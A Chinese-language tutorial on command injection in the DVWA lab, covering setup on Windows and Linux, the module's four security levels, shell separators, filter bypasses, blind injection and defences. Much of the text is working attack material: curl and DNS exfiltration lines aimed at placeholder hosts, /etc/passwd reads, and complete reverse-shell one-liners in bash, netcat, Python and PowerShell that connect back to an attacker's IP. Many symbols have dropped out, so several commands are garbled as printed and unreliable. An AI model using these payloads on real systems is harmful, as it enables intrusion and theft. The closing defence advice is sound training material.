
1. 项目概述与核心价值最近在带新人做安全测试发现很多朋友对命令注入漏洞的理解还停留在“知道有这么个东西”的层面真让他们在Windows和Linux双系统环境下对着DVWA靶场实操一遍各种问题就都冒出来了。比如为什么在Linux下能成功的payload到了Windows上就失效了那些眼花缭乱的分隔符到底该怎么用、什么时候用这些问题不搞清楚测试的深度和效率就上不去。这个“Windows/Linux双系统下的DVWA命令注入漏洞测试全攻略”就是针对这些痛点来的。它不是一个简单的漏洞复现教程而是一份从环境搭建、漏洞原理、到跨平台payload构造与测试技巧的完整实战手册。DVWADamn Vulnerable Web Application作为最经典的Web安全学习靶场其命令注入模块设计得非常典型是理解操作系统层面漏洞交互的绝佳入口。而Windows和Linux作为两大主流服务器操作系统其命令行环境的差异直接导致了攻击手法的不同。掌握这些差异你才能写出真正具有通用性和适应性的测试脚本或者在渗透测试中快速判断目标服务器的操作系统类型从而选择最有效的攻击路径。无论你是刚入门安全测试的新手想通过一个具体漏洞打通Web到系统的知识链路还是有一定经验的从业者希望系统性地梳理和对比跨平台的命令注入技巧这份攻略都能提供直接的、可复现的参考。我会结合具体的DVWA靶场环境把原理、操作、踩过的坑和私藏的技巧都摊开来讲清楚。2. 测试环境准备与DVWA靶场搭建工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的前提既能让我们大胆尝试各种攻击手法又不会对真实系统造成影响。2.1 双系统环境选择与配置对于命令注入这种与操作系统强相关的漏洞在物理机或虚拟机上安装真实的双系统是最佳选择。这能让你最真实地感受到系统差异。我个人推荐以下两种方案方案一物理机真双系统在已有Windows的机器上使用工具如Rufus制作启动盘划分出一块硬盘空间安装Linux发行版如Ubuntu或Kali Linux。这种方案性能无损体验最真实。安装时注意引导程序通常是GRUB的正确安装确保能正常选择进入哪个系统。方案二虚拟机单主机多系统如果你不想动现有的主力机使用VMware Workstation或VirtualBox是更灵活的选择。你可以在Windows宿主机上创建两个虚拟机分别安装Windows Server如Windows Server 2019和Linux如Kali Linux。这样你甚至可以同时运行两个系统方便对比测试。给每个虚拟机分配至少2核CPU、4GB内存和40GB硬盘空间以保证流畅运行。注意无论哪种方案务必在安装完成后第一时间为虚拟机和靶场环境拍摄“快照”。在进行可能破坏系统的漏洞测试前回滚到快照点是最快的恢复方式。2.2 DVWA靶场部署详解DVWA靶场本质上是一个PHPMySQL的Web应用。我们的目标是在两个系统中都搭建起可访问的DVWA。在Windows上部署DVWAWindows下最快捷的方式是使用集成环境包如XAMPP或PHPStudy。下载与安装访问Apache Friends官网下载XAMPP for Windows安装包。安装过程基本一路“Next”建议安装路径不要有中文和空格如C:\xampp。部署DVWA从GitHub下载DVWA的ZIP包解压后将整个dvwa文件夹复制到XAMPP的htdocs目录下例如C:\xampp\htdocs\。配置文件修改找到dvwa/config/config.inc.php.dist文件复制一份并重命名为config.inc.php。用文本编辑器打开找到数据库配置部分通常XAMPP的MySQL密码默认为空所以配置如下$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] ; // 如果安装时设置了密码则填入你的密码启动服务与初始化打开XAMPP控制面板启动Apache和MySQL服务。打开浏览器访问http://localhost/dvwa/setup.php。点击页面底部的“Create / Reset Database”按钮。DVWA会自动创建数据库和表。完成后页面会跳转到登录页默认账号/密码是admin/password。安全等级设置登录后在左侧导航栏找到“DVWA Security”将安全等级设置为“Low”。这是我们进行基础命令注入测试的难度。在Linux上部署DVWA以Ubuntu/Kali为例使用LAMPLinux, Apache, MySQL, PHP栈手动部署更能理解其结构。安装LAMP组件打开终端执行以下命令安装必要软件包。sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql启动服务安装完成后Apache和MySQL服务通常会自动启动。你可以用sudo systemctl status apache2和sudo systemctl status mysql来检查状态。部署DVWA使用git克隆DVWA仓库或者下载ZIP包解压。cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R www-data:www-data DVWA/ # 修改目录所有者让Apache有权限读写配置数据库与PHP数据库运行sudo mysql_secure_installation初始化MySQL并设置root密码。然后登录MySQL为DVWA创建数据库和用户sudo mysql -u root -p # 在MySQL提示符下执行 CREATE DATABASE dvwa; CREATE USER dvwalocalhost IDENTIFIED BY pssw0rd; GRANT ALL PRIVILEGES ON dvwa.* TO dvwalocalhost; FLUSH PRIVILEGES; EXIT;PHP配置编辑DVWA的配置文件。cd /var/www/html/DVWA/config sudo cp config.inc.php.dist config.inc.php sudo nano config.inc.php修改对应的数据库连接信息为上面创建的dvwa用户和密码。PHP函数启用命令注入漏洞需要PHP能执行系统命令需要确保allow_url_include和disable_functions配置未禁用相关函数如system,exec。在DVWA的“Setup”页面会检查这些配置如果提示警告可能需要修改/etc/php/版本号/apache2/php.ini文件但这在测试环境中通常是允许的。完成安装浏览器访问http://你的Linux IP地址/DVWA/setup.php点击创建数据库然后将安全等级设为“Low”。至此你在两个独立的操作系统上都有了完全相同的DVWA靶场环境为后续的对比测试打下了坚实基础。3. 命令注入漏洞核心原理与DVWA模块解析在开始“狂轰滥炸”之前我们必须先理解命令注入漏洞究竟是如何发生的以及DVWA是如何模拟这一漏洞的。知其然更要知其所以然。3.1 漏洞产生的根本原因命令注入Command Injection的本质是Web应用程序将用户输入的数据在未经过充分过滤或验证的情况下直接拼接到了操作系统命令中并交给了系统Shell如Windows的cmd.exe或Linux的bash去执行。想象一下这个场景一个网站提供了一个“Ping工具”让你输入一个IP地址来测试网络连通性。后端PHP代码可能是这样的Low安全级别下的典型代码?php if( isset( $_POST[ Submit ] ) ) { $target $_REQUEST[ ip ]; $cmd shell_exec( ping -c 4 . $target ); echo pre{$cmd}/pre; } ?这里用户输入的$target被直接拼接到了ping -c 4这个命令字符串之后。在正常情况下用户输入127.0.0.1拼接后的命令是ping -c 4 127.0.0.1执行并返回结果一切正常。但是如果用户输入的不是一个单纯的IP而是127.0.0.1; ls -la呢拼接后的命令变成了ping -c 4 127.0.0.1; ls -la。在Linux的Bash中分号;是命令分隔符这意味着Shell会先执行ping -c 4 127.0.0.1然后接着执行ls -la列出当前目录所有文件。于是攻击者注入的ls -la命令就被成功执行了服务器上的文件列表就泄露给了攻击者。关键点在于应用程序的本意是让用户控制“ping”命令的“参数”即IP地址但由于缺乏过滤用户输入的内容被提升为了“命令”的一部分甚至能够引入新的命令。这打破了数据与代码的边界。3.2 DVWA命令注入模块的四种安全级别DVWA精妙地设计了四个安全级别模拟了从毫无防护到高度安全的代码演进过程是我们学习漏洞和防御的活教材。Low低如上文示例没有任何过滤。直接使用shell_exec()拼接用户输入。这是最原始、最危险的漏洞形态。Medium中引入了初步的黑名单过滤。代码会检查用户输入中是否包含和;这两个分隔符如果发现就将其删除。代码如下$substitutions array( , ; , ); $target str_replace( array_keys( $substitutions ), $substitutions, $target );这种防御非常脆弱属于“黑名单”思维我们稍后会看到如何轻松绕过。High高采用了更严格的黑名单并且使用了正则表达式匹配。它会检查输入是否匹配一个“点分十进制IP地址”的模式如192.168.1.1只有完全匹配才接受。这大大提高了绕过难度但理论上如果正则表达式写得有瑕疵仍可能存在绕过空间虽然DVWA的这个实现已经相当严格。Impossible不可能这是正确的防御姿势。它完全放弃了拼接命令字符串的方式而是使用白名单机制。它首先用explode()按点号分割输入然后检查每个部分是否是数字且在0-255之间最后用implode()重新组合。整个过程用户输入从未直接与系统命令字符串接触而是被当作纯数据处理彻底杜绝了命令注入的可能。同时它使用了Anti-CSRFtoken来防止CSRF攻击。通过这四个级别的对比我们可以清晰地看到安全开发的演进路径从毫无防护到脆弱的黑名单再到严格的黑名单/输入验证最后到正确的“数据与代码分离”的白名单思想。我们的测试和攻击手法也需要针对不同的防御级别进行变化和升级。4. 跨平台Payload构造分隔符的奥秘与实战这是本攻略最核心、最具实操价值的部分。命令注入的“艺术”很大程度上体现在对分隔符的理解和运用上。Windows和Linux的Shell命令解释器有着截然不同的语法和特性这直接决定了Payload的构造方式。4.1 命令分隔符深度对比分隔符的作用是告诉Shell“前面的命令结束了现在开始执行下一个命令”。下表是两大系统核心分隔符的对比分隔符Linux (Bash) 中的行为Windows (cmd.exe) 中的行为适用场景与备注;顺序执行。无论前一个命令成功与否返回退出码是否为0都会执行下一个命令。默认不支持。在标准的cmd.exe中分号通常被当作参数的一部分而不是命令分隔符。Linux专属。在DVWA Low级别下最简单直接的测试符。ping 127.0.0.1; whoami逻辑与。只有当前一个命令成功执行返回退出码为0才会执行下一个命令。完全支持。行为与Linux一致前令成功则执行后令。跨平台首选之一。非常常用因为它符合“前一个操作正常才进行下一步”的直觉。ping 127.0.0.1 whoami||逻辑或。只有当前一个命令执行失败返回退出码非0才会执行下一个命令。完全支持。行为与Linux一致。跨平台。可用于盲注或条件触发。例如注入一个必定失败的命令来触发后续命令ping non_exist_host || whoami|管道。将前一个命令的标准输出作为后一个命令的标准输入。支持但行为略有差异。Windows下某些命令的输入输出格式可能不同。跨平台。主要用于数据传递和过滤在命令注入中常与grep、find等命令结合进行信息筛选。dir | findstr “pass”(Win) 或ls -la | grep “.php”(Linux)\n(换行符)强力的命令终止符。在HTTP参数中可以通过URL编码%0a注入。Shell会将其解释为新的一行等同于在终端按了回车。支持有限。在cmd.exe中换行符通常不能直接用于拼接多条命令。但在某些上下文或通过脚本可能解析。Linux下强大绕过工具。当;、被过滤时%0a往往是有效的替代品。ping 127.0.0.1%0aid后台执行。在Linux中让命令在后台运行并立即返回提示符。在命令注入中它也能分隔命令但前后命令会异步执行。核心分隔符。在Windows的cmd中是主要的命令分隔符行为类似Linux的;会顺序执行而不管前令成败。Windows主力Linux也有效。在Windows上的优先级高于。ping 127.0.0.1 whoami在Windows上必成功。%0a即换行符的URL编码。同上在cmd中通常无效。同\n。反引号或$()命令替换。Shell会先执行反引号或$()内的命令并将其输出结果替换到原命令位置。不支持。cmd.exe不支持此语法。PowerShell支持$()但不支持反引号。Linux专属高级技巧。用于嵌套执行命令并将结果作为参数。例如将ls的结果作为echo的参数echo $(ls)或echo ls4.2 针对DVWA各安全级别的Payload构造实战现在我们结合DVWA的不同安全级别在双系统环境下进行实战测试。假设DVWA的提交参数是?ip。Level: Low此级别无任何过滤是测试分隔符的绝佳场地。Linux测试127.0.0.1; id- 执行id命令查看当前用户。127.0.0.1 uname -a- 执行uname -a查看系统信息。127.0.0.1 \|\| whoami- 因为ping通常成功所以whoami不会执行。可以尝试invalid_ip \|\| whoami。127.0.0.1%0acat /etc/passwd- 使用换行符注入查看系统用户列表。Windows测试127.0.0.1 whoami-最常用执行whoami查看当前用户。127.0.0.1 ver- 执行ver查看Windows版本。127.0.0.1 \| findstr “Windows”- 管道过滤ping命令输出中包含“Windows”的行。127.0.0.1 ipconfig- 查看网络配置。Level: Medium此级别使用str_replace过滤了和;。这种过滤非常初级有至少两种绕过方式双写绕过因为过滤是简单的字符串替换且只执行一次。输入127.0.0.1 ; whoami过滤引擎会删除中间的;剩下的部分正好是127.0.0.1 whoami成功绕过这在Linux和Windows上对都有效。使用未过滤的分隔符Linux既然;被过滤就用%0a换行符。Payload:127.0.0.1%0aid。Windows没有被过滤所以直接使用即可。Payload:127.0.0.1 whoami。||同样可用。跨平台试探使用|管道符通常也能成功因为它不在过滤名单内。127.0.0.1 | ls(Linux) 或127.0.0.1 | dir(Windows)。Level: High此级别使用了严格的正则表达式匹配只接受形如x.x.x.xx为数字的输入。传统的分隔符注入基本失效。此时需要思考正则匹配的边界在哪里它是否匹配整个字符串在DVWA的实现中是的。所以直接附加分隔符会被拒绝。 可能的思路虽然DVWA的High级别防御很完善但这是思考过程换行符注入再尝试有时正则匹配可能只检查第一行可以尝试127.0.0.1%0a...但DVWA的High级别通常会失败。参数污染如果应用程序同时接受GET和POST参数并且处理逻辑有瑕疵可能会造成混淆。利用其他输入点命令注入漏洞有时不止一个参数。需要仔细审计前端代码看是否有隐藏参数或其他可控制的输入点未被严格过滤。实操心得在实际渗透测试中遇到Medium这种黑名单过滤太常见了。我的习惯是先快速测试、|、||、%0a、%0d回车符、%0d%0aCRLF以及双写绕过。一个自动化的测试列表往往能快速打开突破口。5. 高级技巧盲注、绕过与信息获取当命令执行了但没有回显到页面上例如命令执行了但结果不显示这就是“盲命令注入”。或者当面对更复杂的过滤机制时我们需要更巧妙的绕过技巧。5.1 盲命令注入Blind Command Injection在DVWA中即使命令执行成功有时也可能因为页面设计而看不到直接输出。或者在实际攻击中应用可能只返回“成功”或“失败”不显示命令结果。这时就需要盲注技术。核心思路通过时间延迟、外部带外OOB通信或条件触发来推断命令是否执行成功。基于时间的盲注Linux使用sleep命令。127.0.0.1 sleep 5。如果页面响应延迟了大约5秒说明sleep 5命令被执行了从而证明注入点存在且可执行命令。Windows使用timeout或ping -n。127.0.0.1 timeout /t 5 nul或127.0.0.1 ping -n 6 127.0.0.1 nulping 6次间隔约5秒。同样通过观察响应时间来判断。基于布尔条件的盲注利用和||的逻辑。例如你想探测/etc/passwd文件是否存在127.0.0.1 test -f /etc/passwd sleep 5。如果文件存在执行sleep 5产生延迟如果不存在则不执行无延迟。Windows下类似127.0.0.1 if exist C:\Windows\System32\cmd.exe (timeout 5) else (echo no)。但需要找到一种方式将“存在”与“不存在”的差异反馈出来如时间差异或触发另一个可观测的行为。带外数据外传OOB 这是更高级的方法将命令执行的结果通过网络发送到我们控制的服务器。Linux使用curl或wget127.0.0.1 whoami | curl -X POST http://your-server.com --data-binary -会将whoami的结果POST到你的服务器。使用nslookup或dig利用DNS查询泄露数据。因为DNS请求通常不会被防火墙严格拦截。127.0.0.1 nslookup $(whoami).your-domain.com。你在your-domain.com的DNS服务器日志中会看到对root.your-domain.com或www-data.your-domain.com的查询从而得知当前用户。Windows使用powershell127.0.0.1 powershell -c “whoami | Out-String -Stream | Invoke-WebRequest -Uri http://your-server.com -Method POST -Body {‘data’$_}”这需要目标系统有Powershell且能出网。使用nslookup原理同Linux。127.0.0.1 for /f “tokens*” %i in (‘whoami’) do nslookup %i.your-domain.com5.2 常见过滤绕过技巧汇编面对过滤我们需要像玩拼图一样组合各种技巧。空格绕过如果空格被过滤可以尝试Linux/Windows使用${IFS}Linux bash中IFS是内部字段分隔符默认包含空格、%09Tab的URL编码、%20空格的URL编码但若过滤逻辑是删除空格字符编码可能无效、、重定向符号如catfile.txt。Linux{cat,/etc/passwd}大括号扩展。黑名单关键字绕过拼接ac;bat; $a$b /etc/passwdLinux。set awhoset bami %a%%b%Windows cmd。编码Base64编码。Linuxecho “Y2F0IC9ldGMvcGFzc3dk” \| base64 -d \| bash。Windowspowershell -EncodedCommand “...“。通配符Linux中/???/??t /???/??ss??可能匹配/bin/cat /etc/passwd。Windows中who*可能匹配whoami.exe。引号/反斜杠w’h’o”a”mi或w\ho\am\i在某些解析场景下引号和反斜杠会被忽略。限制长度绕过如果输入长度受限可以尝试将命令写入临时文件再执行。Linuxecho “命令” /tmp/a.sh; chmod x /tmp/a.sh; /tmp/a.sh。Windowsecho 命令 %TEMP%\a.bat call %TEMP%\a.bat。注意事项这些绕过技巧的成功率高度依赖于目标系统的具体环境如安装了哪些工具、应用程序的过滤逻辑以及Web服务器如Apache/PHP的配置。在实际测试中需要根据回显错误信息不断调整和尝试。自动化工具如Commix可以辅助测试但手工理解和构造Payload的能力始终是核心。6. 实战演练从注入到获取Shell理论学得再多不如一次完整的实战。假设我们现在面对一个DVWA Low级别的命令注入点目标是获取一个反向Shell从而在目标服务器上获得一个交互式命令行。6.1 信息收集与环境探测在尝试获取Shell前必须先摸清环境。确定操作系统这是第一步决定了后续所有Payload的语法。Payload:127.0.0.1 uname -a(Linux) 或127.0.0.1 ver(Windows)。如果上述失败可以尝试更通用的127.0.0.1 echo %OS%(Windows会回显Windows_NT) 或127.0.0.1 echo $OSTYPE(Linux)。查看当前用户权限127.0.0.1 whoami或127.0.0.1 whoami。如果是root或NT AUTHORITY\SYSTEM那么权限很高。如果是www-data或apache等Web服务用户权限可能受限。探测网络连通性能否访问外网这对反弹Shell至关重要。Linux:127.0.0.1 ping -c 2 8.8.8.8Windows:127.0.0.1 ping -n 2 8.8.8.8也可以尝试用curl或wget访问一个不存在的地址看错误信息判断工具是否存在。查看可用工具目标系统上有ncnetcat、bash、python、php、perl、powershell吗Linux:127.0.0.1 which nc python3 php perl bashWindows:127.0.0.1 where nc python powershell或127.0.0.1 for %i in (nc.exe python.exe powershell.exe) do echo %i: where %i 2nul || echo Not found6.2 获取反向ShellReverse Shell反向Shell的原理是让目标机器主动连接我们控制的监听服务器。这通常能绕过目标服务器的出站防火墙限制因为很多防火墙对出站连接较宽松。准备监听器攻击机 在你自己控制的、拥有公网IP或与靶场在同一内网的机器上用netcat监听一个端口。# Linux/Windows (安装了nc) nc -lvnp 4444 # l: 监听模式, v: 详细输出, n: 不解析域名, p: 指定端口在目标DVWA上执行反向Shell命令情况一目标为Linux系统假设探测到目标有/bin/bash。经典bash反向Shell127.0.0.1 bash -c ‘bash -i /dev/tcp/你的攻击机IP/4444 01’如果/dev/tcp不可用可以尝试其他方法。使用netcat如果存在127.0.0.1 nc 你的攻击机IP 4444 -e /bin/bash某些nc版本支持-e参数直接执行程序。如果不支持可以用管道方式127.0.0.1 rm /tmp/f; mkfifo /tmp/f; cat /tmp/f \| /bin/sh -i 21 \| nc 你的攻击机IP 4444 /tmp/f使用Python通用性高127.0.0.1 python3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“你的攻击机IP”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’情况二目标为Windows系统使用PowerShell最强大 首先在你的攻击机上准备一个PowerShell反向Shell脚本例如rev.ps1或者使用一行命令。一行命令示例127.0.0.1 powershell -c “$client New-Object System.Net.Sockets.TCPClient(‘你的攻击机IP’,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535\|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 \| Out-String );$sendback2 $sendback ‘PS ‘ (pwd).Path ‘ ‘;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”注意这条命令很长且包含特殊字符在Web输入框中直接输入容易出错。通常的做法是先将命令写入一个.ps1文件然后让目标下载并执行或者使用编码后的命令。使用nc如果存在127.0.0.1 nc.exe 你的攻击机IP 4444 -e cmd.exe当你在攻击机上看到连接建立并出现了目标系统的命令行提示符如rootkali:~#或C:\xampp\htdocs\dvwa恭喜你反向Shell获取成功。6.3 权限提升与后渗透思路获取的Shell可能是低权限用户。在Linux上可以尝试查找具有SUID位的文件、利用内核漏洞、检查sudo权限等。在Windows上可以尝试查找不安全的服务配置、令牌窃取、UAC绕过或内核漏洞。这部分内容属于提权范畴超出了基础命令注入的范围但它是漏洞利用后自然的延伸。7. 防御方案与安全开发建议作为攻击者我们研究漏洞作为开发者或安全人员我们更要懂得如何防御。从DVWA的四个安全级别我们已经看到了防御的演进。输入验证与白名单Impossible级别的精髓绝对不要使用黑名单正如Medium级别所示黑名单永远无法穷尽所有危险字符和绕过技巧。使用严格的白名单如果输入应该是IP地址就只允许数字和点号并用正则^(\d{1,3}\.){3}\d{1,3}$进行严格匹配然后还要验证每个数字在0-255之间。如果输入应该是文件名就只允许字母、数字、下划线和点号。类型转换如果输入应该是数字就直接将其转换为整数类型如intval()in PHP非数字部分会被丢弃。避免直接调用操作系统命令这是治本之策。寻找语言内置的、安全的API来完成功能。例如在PHP中用gethostbyname()来解析主机名而不是去调用system(“ping “ . $target)。如果必须调用命令请使用安全的函数参数化调用最推荐不要拼接字符串而是将命令和参数分开传递。PHP使用escapeshellarg()为参数加引号或使用proc_open()并正确传递参数数组。// 安全的方式 $cmd ‘/bin/ping’; $args array(‘-c’, ‘4’, escapeshellarg($user_input)); // 然后通过 proc_open 执行 $cmd 和 $args设置环境变量通过$_ENV或putenv()设置环境变量而不是通过命令参数传递敏感数据。最小权限原则运行Web服务的用户如www-data,apache,IUSR应该被赋予尽可能少的系统权限。确保其没有对系统关键目录的写权限更不能以root或System身份运行。部署安全防护Web应用防火墙WAF可以拦截常见的命令注入攻击模式。系统层限制通过禁用危险的PHP函数在php.ini中设置disable_functions system, exec, shell_exec, passthru, proc_open, popen, ...来从根本上减少攻击面。但要注意这可能会影响正常功能。命令注入是一个古老但远未消亡的漏洞。理解它不仅是为了攻击更是为了构建更坚固的防御。在双系统环境下通过DVWA进行对比实践能让你深刻体会到操作系统差异对安全的影响从而在未来的安全测试或开发工作中拥有更立体的视角和更扎实的能力。记住所有技巧都源于对原理的深刻理解和对细节的不断琢磨。